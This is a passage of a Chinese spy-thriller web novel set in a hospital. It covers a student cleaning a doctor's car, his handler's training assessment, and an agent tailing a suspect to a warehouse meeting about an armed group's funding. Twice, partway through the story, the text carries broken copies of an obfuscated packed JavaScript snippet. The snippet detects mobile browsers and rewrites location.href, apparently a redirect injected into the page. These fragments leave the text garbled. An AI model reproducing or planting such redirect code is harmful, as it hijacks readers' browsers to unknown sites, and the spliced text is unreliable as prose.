清晨六点,天刚蒙蒙亮,圣保罗医院的露天停车场笼罩在一层薄薄的晨雾里。这时间点夜班医护还没交班,白班人员大多还没到只有零星几辆车停着——值夜班的医生护士的。 关文晶那辆白车停在第三排靠墙的位置紧挨着那棵凤凰木。车身上,两个月前被徐燕风泼洒的人工血浆留下的淡红色水渍,还顽固地附着在漆面上,虽然经过多次清洗但色素已经渗入细微的划痕,像一道褪不去的伤疤。 徐燕风站在车旁,手里还拿着一个小工具箱。他今天没穿运动服而是简单的牛仔裤和灰色夹克,看起来就像个早起的学生。工具箱里不是油漆或血浆,而是专业的汽车清洁剂、软毛刷、细纤维布,还有一瓶汽车蜡。 他蹲下身,先检查了车漆的状况。那些淡红色的痕迹主要集中在引擎盖和驾驶座车门上已经彻底干涸,和漆面几乎融为一体。普通的洗车店肯定处理不了,需要专业的抛光。 但他没打算抛光——那太显眼了。他选择了更细致的方法:先用专用清洁剂软化污渍再用软毛刷轻轻刷洗,最后用细纤维布擦拭,反复多次。 动作很慢,很仔细,像在修复一件艺术品。 晨雾渐渐散去,天光从灰白转为淡金色。远处有鸟鸣声,医院开始苏醒,但停车场依然安静。 徐燕风低着头,全部注意力都在那些淡红色的痕迹上。清洁剂的味道有点刺鼻,但他似乎不在意。刷子划过漆面的声音很轻,在寂静中显得格外清晰。 他没有抬头,但能感觉到有人在看。 楼上,儿科病房区,关文晶站在走廊的落地窗前,手里端着一杯已经凉透的咖啡。她没有开灯,就站在半明半暗的光线里,看着楼下停车场里那个蹲在车旁的身影。 她已经看了十分钟。 从徐燕风走进停车场,打开工具箱,蹲下身开始清洁的那一刻起,她就在看。 一开始她以为他又要做什么——也许是新的恶作剧,也许是某种挑衅。但看着看着,她明白了:他在清理。清理他自己两个月前留下的痕迹。 不是简单的冲洗,是认真的、细致的清洁。每一个动作都带着一种奇怪的专注,甚至……像是某种仪式。 关文晶的手指无意识地摩挲着咖啡杯的边缘。杯壁冰凉,但她的手心在微微出汗。 她想起两个月前,也是这个停车场,也是这辆车。当时徐燕风气急败坏地拎着油漆桶,眼神里满是愤怒和不甘。她站在远处看着他,心里只有厌恶和警惕。 而现在,同一个人,用完全不同的方式,在处理同一件事。 这算什么?道歉?赎罪?还是……另一种形式的宣告? 关文晶不知道。 她只知道,此刻楼下的徐燕风,和两个月前那个冲动的医学生,已经不是同一个人了。 这六周,她一直在观察他——通过医院的监控,通过自己的渠道,甚至通过偶尔的“偶遇”。她看到他变得沉默,变得冷静,变得难以捉摸。她看到他和钟妍妍频繁接触,看到他在某些场合表现出超乎寻常的观察力和应变能力。 她也看到他眼里的光在慢慢改变——从愤怒的火,变成冷静的冰,再变成现在这种……深不见底的暗。 像蛇的眼睛。 关文晶抿了一口凉咖啡,苦涩在舌尖蔓延。她放下杯子,继续看着楼下。 徐燕风已经清理完了引擎盖,开始处理车门。他换了一块新的细纤维布,喷上清洁剂,沿着车门边缘一点点擦拭。有些顽固的污渍需要反复几次,他很有耐心,不慌不忙。 动作里没有任何情绪——没有愤怒,没有愧疚,没有得意,什么都没有。就是一种纯粹的“做事”的状态。 这种状态,关文晶很熟悉。 在她接受训练的那些年里,在她执行任务的那些时刻,她也是这样的:屏蔽所有情绪,专注在眼前的事情上,把每一个动作都做到精确,做到完美。 因为情绪会干扰判断,感情会带来风险。 而在这个游戏里,风险和死亡只有一线之隔。 楼下的徐燕风,已经学会了这一点。 关文晶说不清自己此刻的感受。是欣慰?是警惕?还是……一种复杂的遗憾? 她转身离开窗边,走到办公桌前坐下。桌上摊开着几份病历,还有她昨天刚从档案馆“借”出来的关于1988年火灾的原始调查报告的复印件。 她翻开调查报告,目光落在证词部分。有几个护士的证言被用红笔划掉了,旁边有手写的批注:“与事实不符,建议删除。” 被删除的证词里,提到了一个细节:火灾发生前,有人看到钟会计和当时的副院长在手术室门口激烈争吵。争吵内容听不清,但钟大仓离开时脸色非常难看。 而火灾发生后所有的调查都集中在“电路老化”“设备故障”“操作不当”这些技术上,没有人再提那场争吵。 关文晶合上报告,闭上眼睛。 真相就像楼下车身上那些淡红色的污渍,看似被清洗了,实际上已经渗入了底层,留下了永久的痕迹。 而有些人,正在试图擦掉这些痕迹。 有些人,则在试图让它们重新显现。 她睁开眼,又看了一眼窗外。徐燕风已经完成了车门的清洁,正在收拾工具箱。他站起身,退后几步,审视着车漆——那些淡红色的痕迹基本看不出来了,只剩下一些细微的色差需要近距离仔细看才能发现。 他点了点头,似乎满意了。然后他提起工具箱,转身离开停车场,没有回头。 白色的轿车在晨光下泛着柔和的光,看起来焕然一新。 但关文晶知道,有些东西,永远回不到原样了。 就像车漆上的污渍可以被清理,但渗入的色素已经改变了漆面的分子结构。 就像徐燕风可以被训练成“眼镜蛇”,但他骨子里那些曾经让他冲动、让他愤怒、让他有血有肉的东西,也已经改变了。 她站起身,走到窗边。徐燕风的身影已经消失在通往医学院的小路上。 停车场又恢复了安静。 只有那辆白色的车,静静地停在那里,像什么都没发生过。 但关文晶知道,一切都发生了。 她拿起手机,给调查员C发了一条加密信息: 【目标已完成基础训练,进入实战阶段。第一个任务:调查通信委员会副会长艾力绅·张。我需要此人的完整背景资料,以及他过去六个月的所有通讯记录。——锯鳞蝰】 几分钟后,回复: 【资料已整理,三小时内发送。另,根据最新情报,艾力绅昨晚与政府办公厅主任的秘书有秘密会面……地点在港口区一家私人会所。会面内容未知,但有迹象表明涉及医疗数据交易。建议提高警惕,此事可能涉及更高层面。——调查员C】 关文晶放下手机,看向窗外。 港口区。私人会所。医疗数据交易。 这些碎片拼接在一起,指向一个越来越清晰的图案:有人在系统性窃取和贩卖医院加密病历数据,而艾力绅可能是关键一环。 而徐燕风的最后一个任务就是调查他。这是巧合,还是钟妍妍故意安排的? 关文晶不知道。 但她知道,从今天起,这场游戏进入了新的阶段。 不再只是钟妍妍和她的对抗。 而是三方——甚至更多方——的博弈。 而徐燕风,那个刚刚学会露出毒牙的“眼镜蛇”,即将踏入这个更复杂的战场。 她转身回到办公桌前,打开电脑,开始写今天的查房记录。 手指在键盘上快速敲击,眼神专注。 就像什么都没发生过。 就像她只是一个普通的儿科医生,值着普通的早班,处理着普通的病历。 但只有她自己知道,从今天起,她多了一个新的观察对象:一条刚刚完成蜕变的小蛇。 她要观察他如何游走,如何选择,如何在阴影里生存。 也要观察他……是否会反噬。 包括反噬她。 窗外的晨光完全亮起来了,医院彻底苏醒。 新的一天开始了。 而新的棋局,也已经摆好。 棋子各就各位。 只等第一步。 傍晚六点,夕阳把医学院网球场染成了一片温暖的橙红色。白天的喧嚣已经散去,球场上空荡荡的,只有徐燕风一个人在底线后面对着发球机练习接发球。 “砰——砰——砰——” 发球机规律地吐出网球,速度中等,但落点刁钻:时而压底线,时而吊网前,时而追身。徐燕风在球场上快速移动,脚步轻盈而稳定,每一次挥拍都干净利落,网球划过精准的弧线,落回对面的场地。 他的动作里有一种新的韵律——不是两个月前那种带着愤怒和炫耀的猛力抽击,而是一种冷静的、计算过的、几乎像机械般的精确。 汗水浸湿了他的运动衫,额前的碎发贴在皮肤上,但他的呼吸很平稳,眼神专注得像在完成一场精密的手术。 就在这时,他感觉到有人在看。 不是那种随意的路过目光,而是一种专注的、带着审视意味的注视。 他没有立刻转头,而是继续接完下一个球,才缓缓直起身,用毛巾擦了擦汗,然后才看向场外。 关文晶站在网球场边的梧桐树下,离他有二十米远。她今天没穿白大褂,而是一身浅灰色的休闲装,手里拎着一个公文包,像是刚下班准备回家。夕阳从她身后斜射过来,给她整个人镶上了一道金边,但脸上的表情在逆光中看不真切。 两人隔着球网和二十米的距离,对视着。 没有言语,没有动作,只有眼神在空气中交汇。 徐燕风想起两个月前也是这个网球场,也是傍晚。他用一个“意外”的球砸中了她的额头然后隔着网用轻浮的语气内涵。当时她的眼神里有愤怒,有厌恶,有一种居高临下的、把他当成不懂事孩子的轻蔑。 而现在,她的眼神里没有了那些情绪。 取而代之的是一种复杂的、难以解读的东西:警惕,审视,或许还有一丝……认可? 他放下球拍,走到网前,隔着球网看着她。 “关医生。”他开口,声音很平静,“来看球?” “路过。”关文晶说,声音同样平静,“看到有人在练习,就看看。” “觉得怎么样?” “比两个月前好多了。”关文晶说,“动作标准了,情绪稳定了,球路也聪明了。” “谢谢。” 简单的对话,但每个字都像带着潜台词。 徐燕风知道她不是在真的评价他的网球技术。她是在说他这个人——比两个月前“好多了”。更冷静,更稳定,更聪明。 但“好”是相对的。对医生来说,冷静是优点;对特工来说,稳定是必须;对这个医院的“蛇窝”来说,聪明是生存的前提。 可这种“好”,也意味着失去了某些东西。 比如冲动,比如热血,比如那种会为了小事去泼油漆的幼稚但真实的愤怒。 关文晶看着他,忽然问:“车的事,谢谢。” “不用谢。”徐燕风说,“我该做的。” “该做的?”关文晶挑眉,“因为是你弄脏的?” “因为我想这么做。” 简单的回答,但让关文晶沉默了。 她看着眼前这个年轻人。夕阳的光线照在他脸上,勾勒出清晰的轮廓——下巴的线条更硬了,眼神更深了,连站姿都带着一种新的、不容忽视的存在感。 他变了。 变得像一条真正的蛇:安静,隐蔽,但当你注意到他时,能感觉到那种潜在的威胁感。 “艾力绅的事,”关文晶忽然说,声音压低了些,“你知道多少?” 徐燕风的眼神微微闪动:“该知道的都知道。” “需要帮忙吗?” “暂时不用。” “如果遇到麻烦……” “我会处理。”徐燕风打断她,语气没有不敬,但很坚决,“这是我的任务。” 关文晶点点头,没有坚持。她知道界限在哪里。训练结束了,徐燕风现在是“小蛇”,有自己的任务,自己的方式,自己的……骄傲。 “那我不打扰了。”她转身准备离开。 “关医生。”徐燕风叫住她。 关文晶停下,但没有回头。 “谢谢。”徐燕风说,“为之前的事。” 他没说具体是什么事。是为她没拆穿他?为她提供的信息?为她那晚在儿科办公室的谈话?还是为……更早之前,在停车场她看到他泼油漆却没有当场揭穿? 关文晶明白。 她没有回应,只是微微点了点头,然后继续往前走,身影渐渐消失在梧桐树的小径尽头。 徐燕风站在原地,看着她的背影完全消失,才转身走回球场。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937047|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他重新拿起球拍,调整了一下发球机的参数——把速度调快了一档,落点调得更刁钻。 然后他回到底线,摆好姿势。 “砰!” 网球以更快的速度飞来,直奔他的反手位。他侧身,引拍,击球——动作一气呵成,球划过一道凌厉的弧线,狠狠砸在对面的底线上。 精准,有力,不带任何多余情绪。 就像他现在的状态。 他继续练习,一个球接一个球,直到太阳完全沉入地平线,球场上亮起昏暗的灯光。 汗水湿透了他的衣服,肌肉酸痛,但他没有停。 因为这就是训练。 这就是生活。 在这个蛇窝里,你要么变强,要么被吞噬。 而他,选择了前者。 --- 同一时间,妇科办公室。 钟妍妍坐在办公桌前,正在整理徐燕风的训练档案。厚厚的文件夹里记录着过去六周的所有细节:每一次测试的成绩,每一次模拟的表现,每一次实战任务的评估。 最后一页是她刚写的结业评语: 【对象:徐燕风 训练周期:6周 综合评估:合格,具备独立执行中等风险任务的能力 优势:学习能力强,观察敏锐,应变迅速,压力耐受性高 弱点:情感牵绊未完全消除,对‘正义性’仍有潜在执念 建议:给予实战机会,在任务中进一步磨砺。重点关注其忠诚度稳定性,防止因个人情感因素导致判断失误。】 她合上文件夹,锁进抽屉最底层。然后她站起身,走到窗边,看着窗外逐渐降临的夜幕。 圣保罗医院的灯光次第亮起,像一片倒悬的星河。主楼、门诊部、住院楼、医学院……每一盏灯后面,都有人在忙碌,在算计,在生存。 也有人在斗争。 无声的,但致命的斗争。 敲门声响起。 “请进。” 门开了,尹柏萧走进来。他今天看起来有些疲惫,眼下的乌青比平时更深。 “钟医生,还没下班?” “整理点东西。”钟妍妍转身,靠在窗台上,“尹教官有事?” 尹柏萧走到办公桌前,看见桌上摊开的几本医学杂志,还有一杯已经凉掉的茶。他的目光在抽屉上停留了一瞬——他看到了那个刚被锁上的动作。 “徐燕风的事,”他开口,“你打算怎么安排?” “他已经结业了。”钟妍妍说,“最后一个任务已经下达,调查通信委员会的艾力绅·张两周后看结果。” “这个人……”尹柏萧皱眉,“听说背景复杂,牵扯的面很广。让一个新手去查,会不会太冒险?” “风险可控。”钟妍妍说,“而且,不经历实战,永远成不了真正的‘蛇’。温室里培养出来的,只是宠物。” 尹柏萧看着她,眼神复杂:“钟医生,有时候我觉得,你对这些‘学生’太……严苛了。” “严苛才能活下来。”钟妍妍说,“这个道理,尹教官应该比我懂。您当年在军队里,训练难道不严苛吗?” “那不一样。”尹柏萧摇头,“军队训练是为了上战场,是为了国家和使命。而你训练他们是为了……” “为了什么?”钟妍妍打断他,语气依然平静,“为了让他们有能力在这个浑浊的世界里活下去并且做该做的事。这有什么不对吗?” 尹柏萧沉默了。他知道钟妍妍有她的道理,但他也看到过太多被这种“训练”毁掉的人——变得冷酷,变得多疑,变得再也回不到正常的生活。 “徐燕风那个小子,”他最终说,“我看着他入学,看着他惹事,看着他被你训练……他现在变了。变得我都快认不出来了。” “变是好事。”钟妍妍说,“不变才会被淘汰。” “但你也把他教得太好了。”尹柏萧看着她,“好到……我有点担心。” “担心什么?” “担心他有一天,会用你教的东西,来对付你。”尹柏萧说得很直接,“蛇是会反噬的,钟医生。你比我清楚。” 钟妍妍笑了。不是平时那种温和的笑,而是一种带着冷意的、近乎自嘲的笑。 “尹教官,您说得对,蛇是会反噬的。”她说,“但您忘了一点:蛇就是蛇。它的本性就是掠食,就是生存,就是在必要时露出毒牙。我不过是帮它早点蜕皮,早点长出毒牙,早点……适应这个蛇窝的环境。” 她走到办公桌前,拿起那杯凉茶,喝了一口:“至于它会不会反噬我,那是它的选择,也是我的风险。在这个游戏里,没有绝对的安全,只有相对的平衡。” 尹柏萧看着她,忽然觉得眼前这个女人比他想象得更复杂,也更……孤独。 她在这个医院潜伏了多年,执行了一个又一个任务。她有自己的目的,有自己的规则,也有自己的……执念。 而这一切,都在把她推向一个越来越危险的境地。 “你自己小心。”他最终说,“艾力绅的事如果牵出太大的麻烦,医院这边不一定保得住你。” “我从来没指望医院保我。”钟妍妍放下茶杯,“我有我自己的后路。” 尹柏萧离开后。门关上。 办公室里又只剩下钟妍妍一个人。 她重新走到窗边,看着窗外已经完全黑透的天空。 城市的灯火在她眼中倒映成一片破碎的光点,像散落的星辰,也像……无数双在黑暗中睁开的眼睛。 她知道,在这个医院里,在这个城市里,有无数条“蛇”在游弋。 有些是她认识的,有些是她不认识的,他们各自有各自的毒牙,各自的猎物,各自的生存之道。 斗争从未结束。 只是换了形式,换了战场,换了对手。 而她自己,尖吻蝮,也会继续在这个蛇窝里游走。 直到游到终点——或者,游到游不动的那天。 她拉上窗帘,关掉灯。 办公室陷入黑暗。 像蛇回到洞穴。 等待下一个黎明。 等待下一次出击。 而窗外,圣保罗医院的灯火依然明亮,像一座永不沉睡的堡垒。里面,无数“蛇影”在光影中游弋。 悄无声息。 致命。 这就是瑆洲。 这就是圣保罗医院。 这就是,蛇窝。 30. 可疑目标 “你派一个黄毛小子来查我,到底什么意思!”钟妍妍的手机被打爆,艾力绅·张在另一头骂声不断:“我是被陷害的,你懂不懂!” 钟妍妍惊诧“你说什么?” “我被那个臭婆娘利用了,她是爪哇派来的奸细,要往我头上泼脏水!” “她是谁?!” “她叫拉特娜,代号【雪鸮】……” ——————————————————— 雨水把瑆洲的夜色浸泡成一片黏糊糊的隔夜茶汤。霓虹灯在湿漉漉的街道上拖出细长的倒影,像是某种液态的静脉曲张在城市的皮肤下尴尬地搏动。 白链蛇调整了一下耳机,雨滴敲击车顶的声音被过滤成背景里遥远的、走调的鼓点。他坐在一辆不起眼的灰色轿车里,颜色介于“遗忘在停车场”和“准备报废”之间。车窗只开了三指宽的缝隙,足以让长焦镜头捕捉到马路对面那栋法式殖民风格公寓楼的入口——以及楼上晾衣架上那条三天没收的、在风雨中倔强起舞的卡通内裤。 “目标出现。”他的声音压得很低,混杂着电流的杂音和一丝不易察觉的、对那条内裤的困惑。 对讲机里传来简短的回应:“收到。持续观察。顺便,后勤说这个月纸巾报销超标,让你下雨天少擦镜头。” 目标叫苏蜜妲,交趾人,三十二岁,持商务签证入境瑆洲已近三个月。官方资料显示她是进出口贸易公司的项目经理,为几间交趾手工艺品作坊寻找海外市场。很普通的背景,普通到情报处的分析员在第一次筛查时就划了红线——“普通得令人发指,建议重点关注。真正的间谍都爱装成会计。” 白链蛇调焦。镜头里,苏蜜妲撑着一把深蓝色的雨伞走出公寓大门,伞面上印着某银行“存款有礼”的褪色字样。她穿着米色风衣,头发整齐地盘在脑后,手里提着黑色公文包——A货,边角已经磨损。没有任何异常,就像这座金融中心里成千上万个正在盘算本月房租和奶茶预算的职业女性一样。 但白链蛇知道异常在哪里。 连续十七天,每天傍晚六点四十五分,苏蜜妲都会准时离开公寓,精准得像楼下那台吞钱后偶尔吐饮料的自动售货机。她会步行两个街区,在第七分钟时经过“新越”咖啡店,从不进去——可能是因为他们家的“交趾滴滴金咖啡”要价能抵她半把伞。她会继续向东走,在第十一分钟时穿过瓦萨里街,小心避开那个总在积水的著名坑洞。然后在第十五分钟抵达“河内之光”餐厅——一家中等价位的交趾菜馆,招牌上的“光”字不亮了,只剩“河内之”。 她从未在那里用餐。 她会站在餐厅的红色遮阳棚下(有一角破了,漏水),从公文包里取出一份折叠的《瑆洲日报》,翻开第三版,停留大约九十秒。然后她会收起报纸,转身沿原路返回。全程不超过三十五分钟,比许多人排队等网红奶茶的时间还短。 没有接头人。没有明显的信号传递。只有那个规律得近乎偏执的行为模式,让跟踪她的白链蛇都快背熟路上有几块松动的地砖了。 “她在看什么?”白链蛇第一次跟踪时曾问过指挥中心。 “《瑆洲日报》第三版。”耳麦里传来分析员的声音,背景音是咔哧咔哧嚼薯片,“分类广告。我们检查过连续十四天的报纸,广告内容每天都在变,从‘重金求子’到‘祖传秘方根治脱发’,没有发现重复的加密模式。倒是帮老王找到了二手电动车,挺划算。” “可能不是广告内容本身。” “什么意思?” “可能是版面布局。”白链蛇当时说,一边躲开一个踢着易拉罐的小孩,“广告的位置、大小、字体。像棋盘密码,用广告的存在与否传递信息。比如‘三折健身年卡’在左上角代表‘安全’,‘学区房急售’在右下角代表‘危险’。” 一阵沉默后,指挥中心回应:“有想法。继续观察。今天我们用无人机高空拍摄她阅读的版面——希望别撞上外卖小哥的飞机。” 此刻,苏蜜妲正按部就班地重复着她的路线。雨势稍大了一些,她把伞压得更低,快步走着,姿态像一枚在湿滑路面小心前进的米色棋子。 白链蛇发动引擎,车子发出一阵咳嗽般的震动后,缓缓滑入车流与她保持一个街区的距离。雨水在挡风玻璃上划出瞬息万变的纹路,像是某种无形的账单正在被书写又被雨刷抹去。 第七分钟,经过“新越”咖啡店,店员正往外摆“第二杯半价”的牌子。 第十一分钟,穿过瓦萨里街,成功避开那个水坑。 第十五分钟,抵达“河内之光”。 一切都和之前十七天一模一样,连餐厅门口那只打瞌睡的橘猫都没换姿势。 苏蜜妲在漏雨的红色遮阳棚下站定,雨水精准地滴在她脚边,溅湿了她的鞋尖——白链蛇怀疑她选位置时量过。她从公文包里取出今天的《瑆洲日报》,熟练地翻到第三版。 白链蛇把车停在斜对面的临时停车位上,调整镜头倍数。雨水让画面有些模糊,但他能清晰地看到苏蜜妲的眼睛在版面上移动的方式——不是阅读,而是扫描。她的目光按照某种特定的路径移动:左上(重金求子)、右下(祖传脱发秘方)、中左(二手车转让)、右上(高薪诚聘)…… “无人机到位了吗?”他低声问。 “已就位。正在拍摄。”指挥中心回应,然后小声补充,“差点和一只冒雨送餐的无人机亲上。” 九十秒。苏蜜妲准时合上报纸,放回公文包,转身。 但这次她没有沿原路返回。 白链蛇的手指在方向盘上收紧,捏扁了早上没喝完的豆浆杯。苏蜜妲转向了北方,走进了一条狭窄的巷子——那是她十九天来第一次偏离既定路线,像游戏里的NPC突然走出了预设路径。 “目标改变路线。”白链蛇报告,带着一丝“终于来点新剧情”的疲惫兴奋,“进入凤凰巷,向北。请求地面支援,最好带件干外套。” “收到。二号车正在前往凤凰巷北出口。三号车在瓦萨里街待命——司机说那边奶茶店买一送一,问能不能顺便带一杯?” 白链蛇把车停在巷口,抓起副驾驶座上的黑色背包(里面除了装备还有半包受潮的饼干),迅速下车。他把相机换成一个更小的手持设备,戴上兜帽,快步走进巷子,感觉自己在演一部经费有限的谍战片。 凤凰巷是瑆洲老城区常见的巷道,宽度仅容两人并肩,还得关系不错。两侧是褪色的砖墙和紧闭的后门,墙上贴着层层叠叠的小广告,从“通下水道”到“小额贷款”,记录着城市的隐秘需求。雨水顺着瓦片屋檐流下,在石板上积成小水洼。巷子里几乎没有灯光,只有远处街灯投来的微弱晕影,勉强照亮墙上的“□□”电话号码。 苏蜜妲的身影在前方大约五十米处,步伐依然稳定,但明显比平时快,好像赶着去抢超市的限时折扣。 白链蛇保持距离,利用巷道里的杂物箱和凹陷的门廊作为掩护。他的心跳平稳,呼吸均匀——这是他在情报处工作十二年来磨炼出的本能,主要用在跟踪目标、躲避街头推销和食堂抢菜上。 苏蜜妲在巷道中段停了下来。 白链蛇迅速闪进一个门洞的阴影里,不小心踩到一个空易拉罐,在寂静中发出清脆的“哐当”——他立刻僵住,心里已经把罐子厂家骂了一遍。 但苏蜜妲似乎没听见。她正从风衣口袋里掏出手机,快速输入信息,表情严肃得像在计算双十一满减。然后她继续前进。 二十秒后,她走出凤凰巷的北出口,来到一条相对宽阔的街道上。一辆黑色的旧款丰田轿车正停在路边,没有熄火,排气管冒着白烟,像一条喘气的黑狗。 苏蜜妲径直走向轿车,拉开后座车门,钻了进去。 车子立刻驶离,差点蹭到路边的垃圾桶。 白链蛇记下车牌号,同时按下耳麦:“目标上车,黑色丰田,车牌瑆-BR4291。向北驶入清迈路。车况看起来不太好,建议别跟太近,怕它散架。” “收到。三号车已在清迈路待命,准备接力跟踪——奶茶买好了,珍珠加倍。” 白链蛇转身快步返回自己的车。雨水打在他的脸上,冰冷而清醒。苏蜜妲十九天来首次改变行为模式,再加上那辆“看起来像从报废场偷开出来”的接应车——这说明今晚有事情要发生,而且预算可能不高。 他发动引擎,车子咳嗽了两声才启动。耳机里传来三号车的报告:“目标车辆正在清迈路中段行驶,速度正常,没有明显反跟踪动作——除了突然刹车捡了个矿泉水瓶,可能是想卖钱。” “保持距离。”指挥中心指示,“你从平行街道绕到前方。分析组刚刚送来新情报,说解码时叫了烧烤外卖,账单要报销。” “什么情报?”白链蛇问,同时转动方向盘驶入一条小街,避开一个巨大的水坑。 “关于《瑆洲日报》第三版的版面分析。”耳麦里的声音停顿了一下,传来翻纸声和咀嚼声,“你猜对了,是棋盘密码。过去十九天,分类广告的排列组合构成了一套完整的坐标序列。‘重金求子’在左上代表北纬,‘二手车转让’在中代表东经……” “坐标?什么坐标?” “地理坐标。指向瑆洲湾东北侧的一片废弃码头区。最后一组坐标是时间——今晚九点三十分,用‘高薪诚聘夜班保安’的位置表示。” 白链蛇瞥了一眼车载时钟:九点十七分。 “她要会面,而且选了个鸟不拉屎的地方,大概是为了省包厢费。” “极有可能。而且这不是普通的情报交换。”指挥中心的声音严肃起来,背景的烧烤味似乎也透过电波传来,“分析组在交叉比对时发现了一个关联点——那辆丰田车的车主登记在一个名叫‘吴山河’的人名下。数据库显示他去年有三次违章停车未缴款。” 白链蛇:“……就这?” “不,还有。吴山河,五十四岁,前交趾特种部队军官,三年前移居瑆洲,表面经营一家货运代理公司。根据线报,他的公司主要业务是‘帮助客户解决运输难题’——比如把一些海关不太喜欢的东西运进来。” “听起来像快递界的黑暗骑士。” “情报处对他的档案标注是:疑似与区域非法武装组织‘战鹰’有联系。备注:该组织自称提供‘一站式冲突解决方案’,从武器租赁到人员培训,差评率偏高但便宜。” “‘战鹰’… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他把车停在一条堆满废弃集装箱的小巷里,关闭引擎。从背包里取出夜视仪(去年款,有点重影)和一把紧凑型手枪(配发时说“省着点用,子弹要登记”),检查弹匣,上膛,插进腰后的枪套——这个动作他练得很帅,可惜唯一的观众是后视镜里的自己。 “我已就位。”他低声说,“在第三号仓库南侧。看到目标车辆了,停在五号仓库前,车灯没关,可能想省电瓶。” 大约一百米外,那辆黑色丰田停在五号仓库的装卸平台前。车灯熄灭,但引擎还运行着,尾气在雨夜中形成白色的薄雾,在破败的背景中显得格外努力。 仓库的门开了,透出昏黄的灯光——可能是最便宜的节能灯泡。一个男人的身影出现在门口,向车子招手,姿势有点像停车场管理员。 丰田的后车门打开,苏蜜妲下车,快步走向仓库入口。她没有打伞,任由雨水打湿头发和肩膀,形象从“普通职员”变为“落汤鸡特工”。 白链蛇打开夜视仪,绿色的世界里,一切细节都清晰起来,包括墙上的涂鸦“阿强爱阿花”。他认出门口那个男人——正是吴山河,比档案照片里显得更瘦削,穿着一件褪色的工装夹克,胸口印着“安全第一”的字样,已经洗得模糊。 苏蜜妲和吴山河简短交谈了几句,然后一起走进仓库。门在他们身后关上,发出一声刺耳的“吱呀”——该上油了。 白链蛇等待了三十秒,确认没有其他人员在外围警戒——除非你把那只翻垃圾的野猫算上。然后开始移动。他贴着集装箱的阴影前进,动作轻盈如猫,如果猫也穿防水外套和有点挤脚的战术靴的话。雨水掩盖了他的脚步声,但同时也让他每一步都可能踩进意想不到的水坑。 他绕到仓库侧面,找到一扇破损的窗户,位置大约三米高。仓库墙壁上有一排用于维修的金属扶手,锈迹斑斑但还算牢固——大概。白链蛇攀上扶手,小心地避开松动的部分,将身体提升到窗口高度,心里祈祷这玩意儿别在自己身下突然决定退休。 窗户的玻璃早已碎裂,只剩下尖锐的边缘,像一张咧开的、不怀好意的嘴。白链蛇向内窥视。 仓库内部空间很大,堆放着一些废弃的机器零件和木箱,上面贴着“小心轻放”和“此面向上”的标签,全都被人无视了。中央区域被清理出来,摆着一张旧桌子和几把椅子,桌子腿用砖头垫平。一盏吊灯从天花板上垂下,照亮了桌旁的三个人:苏蜜妲、吴山河,还有一个白链蛇从未见过的男人。 那男人大约四十岁,穿着考究的灰色西装,与周围破败的环境格格不入,像是误入废品回收站的华尔街精英。他背对着窗户,但白链蛇能看到他梳得一丝不苟的头发和挺直的肩背——坐姿很有培训过的样子。 “资金必须在月底前到位。”西装男的声音透过窗户缝隙传来,带着某种居高临下的腔调,像在开视频会议,“战鹰先生没有耐心等待。他最近刚投了个加密货币,跌得有点心烦。” 苏蜜妲用交趾语回应,语气恭敬但坚定:“彭先生需要更多时间考虑。这不是小数目,而且瑆洲的监管越来越严格——上次转账差点触发风控,银行经理还推荐他买理财。” “考虑?”西装男打断她,这次用了英语,带点口音,“他已经考虑了三个月。战鹰组织不是在请求投资,苏女士。我们是在提供机会。一个参与到伟大事业中的机会,未来上市可能分原始股。” 31. 新任务(1) 白链蛇的心脏猛跳了一下——主要是爬窗累的。战鹰先生——那指的是“战鹰”组织的头目。这次会面比预期的级别更高,但听起来依然像创业公司拉投资。 “我理解。”苏蜜妲换成英语,口音标准,可能在语言班花了不少钱,“但彭迪有他的顾虑。他是退役军人,也是知名银行家,他的每一个动作都被关注。如果资金流向被追踪——他的高尔夫俱乐部会员资格可能会被review。” 西装男抬手制止了她的话,动作像在示意服务员“账单分开”。他转过身,白链蛇终于看到了他的脸:棱角分明,眼神锐利如鹰,左眉上方有一道细小的疤痕——可能是战斗伤痕,也可能是某次试图打开包装过度的电子产品时留下的。 “那就让他学会隐藏。”西装男说,从西装内袋掏出一支雪茄,看了看环境又悻悻放回去,“或者,让他回忆一下自己是谁。他曾经是交趾最出色的特种兵之一,不是吗?现在却在瑆洲的银行里数钱度日,帮人做房贷。战鹰先生能给他更大的舞台,虽然灯光差点,但自由。” 苏蜜妲低下头,像被经理训话的实习生:“我会转达。” “不。”西装男从口袋里取出一个小巧的银色U盘,放在桌上,U盘上还贴着“买一送一”的标签,“把这个给他。里面有具体的资金转移方案和第一阶段行动计划。告诉他,鱼鹰会在一周内亲自拜访。这不是邀请,是最后通牒——当然,措辞可以委婉点,就说‘战略合作洽谈’。” 鱼鹰。又一个代号。白链蛇的大脑飞速运转,试图记住每一个细节,同时担心自己会不会从扶手上滑下去。 吴山河这时开口了,声音沙哑,像很久没上油的铰链:“如果彭迪拒绝呢?” 西装男笑了,那笑容冰冷而短暂,像冰箱里的灯:“战鹰组织不会接受拒绝。你知道规矩,陈先生。要么成为盟友,要么成为障碍。而我们会清除障碍——我们有外包团队,价格公道。” 仓库里的空气仿佛凝固了。雨水敲打铁皮屋顶的声音成了唯一打破沉默的背景音,叮叮当当像在收废品。 苏蜜妲伸手拿起U盘,放进公文包,动作小心得像在放易碎品:“我会确保他收到。需要回执吗?” “很好。”西装男看了看手表,可能是名牌,但光线太暗看不清,“我还有另一个会面,在城南茶餐厅,菠萝包要刚出炉的。送苏女士回去,陈先生。记住,保持低调——你那辆车太吵了。” 西装男转身走向仓库的另一侧出口,很快消失在阴影中,脚步声回荡。吴山河对苏蜜妲做了个手势,两人也朝正门走去。 